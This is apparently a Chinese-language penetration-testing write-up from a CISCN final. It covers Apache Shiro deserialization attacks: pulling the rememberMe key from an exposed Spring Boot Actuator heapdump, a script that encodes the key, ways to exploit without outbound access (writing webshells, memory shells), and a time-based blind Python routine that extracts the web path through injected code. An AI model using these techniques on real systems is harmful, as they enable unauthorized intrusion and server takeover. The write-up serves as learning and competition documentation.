遇到的一些Shiro利用

heapdump泄露密钥key

这个是在ciscn final渗透中遇到的。

在这里大概记录一下(想搭个环境最后利用老是坏掉,开发的能力还是很欠缺)

访问这个接口/actuator/

image-20240731104226697

Spring Boot Actuator 是一个非常强大的工具包,它提供了一组内置的端点(endpoints),用于监控和管理 Spring Boot 应用程序。这些端点可以提供有关应用程序的运行时信息,例如健康状态、环境变量、HTTP 路由等,还可以执行诸如清理缓存、触发垃圾回收等操作。

heapdump是生成的一个包含 Java 虚拟机(JVM)堆内存状态的文件

默认情况下,Actuator 提供的许多端点是禁用的

所以在可以匿名访问或者未授权访问时能用,一般配置里这样写

management:
  endpoints:
    web:
      exposure:
        include: health,info,heapdump
  endpoint:
    health:
      show-details: always
    heapdump:
      enabled: true

management.endpoints.web.exposure.include=health,info,heapdump
management.endpoint.health.show-details=always
management.endpoint.heapdump.enabled=true

点击可以下载heapdump文件

我们可以使用工具做掉它

image-20240731104847308

可以看到不只key其实还有很多其他东西可以探索

除了这个工具我们还可以使用java自带的

jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe

image-20240731105130436

image-20240731105241536

可以进行类的过滤,想想我们分析shiro反序列化原理时候的类,我们可以搜一下

image-20240731105450348

看看CookieRememberMeMananger

image-20240731105528027

找到key使用脚本转换一下

import base64
import struct
​
print(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -82, -68, 32, -43, -68, -49, -114, 1, 49, 83, -84, -69, -19, 10, -14, 121)))

image-20240731110006026

Shrio不出网利用

不出网显而易见就是无法访问外网,很多情况就是能拿到shell但是没办法反弹shell,可能就是把服务器的某个端口映射出来了等等

检测可以使用zhzyker/shiro-1.2.4-rce: shiro <= 1.2.4 反序列化远程命令执行利用脚本 (github.com)

改写了ysoserial,增加时延来判断是否存在漏洞

遍历链子和key来判断利用链

成功后可以进一步利用

在我的了解下主要就是这几个方面解决shiro不出网利用:

  • 定位Web目录写入文件

比如可以在前端源码中找到某个文件夹是存放文件的可以写进去

  • 构造回显

构造通用回显

  • 内存马

写内存马

  • 时间延迟获取Web路径写入webshell

def BinarySearch(target, index, left, right, lowerStdLimit):
    while True:
        mid = (left + right)/2
        if mid == left:
            return chr(mid)
            break
        code1 = """
String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath();
int a = (int) var1.charAt(%d);
if (a < %d) {
    Thread.currentThread().sleep(5000L);
}
""" % (index, mid)
​
        code2 = """
String var1 = Thread.currentThread().getContextClassLoader().getResource("").getPath();
int a = (int) var1.charAt(%d);
if (a < %d) {
    Thread.currentThread().sleep(0000L);
}
        """ % (index, mid)
​
        code1_base64 = base64.b64encode(code1)
        re_value1 = poc(code1_base64)
​
        code2_base64 = base64.b64encode(code2)
        re_value2 = poc(code2_base64)
​
        time1 = resp_time(target, re_value1)
​
​
        if time1 > lowerStdLimit:
            time2 = resp_time(target, re_value2)
            if time2 <= lowerStdLimit:
                right = mid
            else:
                left = mid
        else:
            left = mid